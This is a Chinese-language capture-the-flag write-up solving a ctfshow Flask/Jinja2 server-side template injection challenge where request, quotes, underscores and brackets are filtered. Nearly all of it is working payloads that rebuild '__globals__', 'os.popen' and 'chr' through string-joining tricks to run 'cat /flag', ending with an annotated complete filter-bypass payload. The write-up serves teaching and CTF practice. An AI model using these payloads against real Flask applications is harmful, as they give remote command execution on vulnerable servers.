赞
踩
由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。
本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解绕过的原理。
由于双花括号被过滤,我们只能使用{%%}来判断,我们传入参数?name={%print 123%},来观察页面是否回显123,如果回显123即存在SSTI模板注入漏洞。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print 123%}
页面回显123,存在SSTI模板注入漏洞。
我们先确定我们使用哪一个payload去打它,我们就以:
{%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}
我们分析一下:
引号、下划线被过滤,我们不能直接使用" attr(“__globals__”) ",并且request被过滤,不能通过传参,我们就只能通过拼接字符串的方式获取,并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set globals=dict(globals=a)|join%}
{%print globals%}
我们获得了globals字符串,还需要下划线来拼接,那么下划线如何获取呢?
我们就通过lipsum|string|list中获取。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}
我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%print pop%}
这样的话我们就可以获取到下划线了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}
获取下划线之后也就自然能获得__globals__。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=dict(globals=a)|join%}
{%print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}
先获取到os字符。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set shell=dict(o=a,s=b)|join%}
{%print shell%}
获取get,以便我们使用get()获取到os模块。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set get=dict(get=a)|join%}
{%print get%}
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}
还是先获取popen字符串。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}
获取popen方法
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}
拼接shell命令我们需要使用chr函数,因为chr不是flask的函数,所以我们必须自己获取。
我们使用:
(lipsum|attr("__globals__"))|attr("__builtins__")|attr(get)(chr)
来获取。
但是我们没有__builtins__,也需要我们自己拼接获取。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}
这样就可以获取chr函数了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}
我们已经获取到了chr函数,就可以使用它来拼接我们的shell命令了。
我们以"cat /flag"命令为例。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}
接下来我们就可以执行我们拼接好的shell命令了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)%}
{%print result%}
我们发现竟然显示了个这么个东西,这显然不是我们的flag呀!
这是什么情况呢?因为popen()方法执行的返回结果是一个file对象,我们需要在使用read()函数进行读取。
再创建read()方法吧。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}
有read,我们就可以直接读取执行命令的返回结果了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}
成功获取到flag!
?name= 获取pop字段以便使用pop函数 {%set pop=dict(po=a,p=b)|join%} 获取下划线,以便拼接__globals__和__builtins__ {%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%} 获取__globals__ {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} 获取get字段,以便使用get函数 {%set get=dict(get=a)|join%} 获取os字段,以便获取os模块 {%set shell=dict(o=a,s=b)|join%} 获取popen字段,以便使用popen函数 {%set popen=dict(popen=a)|join%} 获取__builtins__以便获取chr函数 {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} 获取chr字段,以便获取chr函数 {%set ch=dict(ch=a,r=b)|join%} 获取chr函数,以便拼接shell命令 {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%} 拼接shell命令,以便获取flag {%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%} 获取read字段,以便使用read函数读取命令执行的结果 {%set read=dict(read=a)|join%} 将命令执行结果存放在result中 {%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%} 输出命令执行结果 {%print result%}
绕过过程中,我们会用到许多的知识,有的小伙伴可能不太理解,这里进行简单介绍:
lipsum是flask的一个方法,lipsum|attr(“__globals__”) 就相当于 lipsum.__globals__。
()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print (1,2,3)|join%}
毫无疑问,dict就是一个字段,而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print dict(a=1,b=2)|join%}
上边已经说过,lipsum是flask的一个方法,lipsum|string就是一串介绍lipsum的字符串。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string%}
而lipsum|string|list就是将lipsum|string生成的字符串以列表的形式进行展示,这样该字符串的每个字符都是该列表的元素,我们就可以使用索引值来获取该列表我们需要的字符了。
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。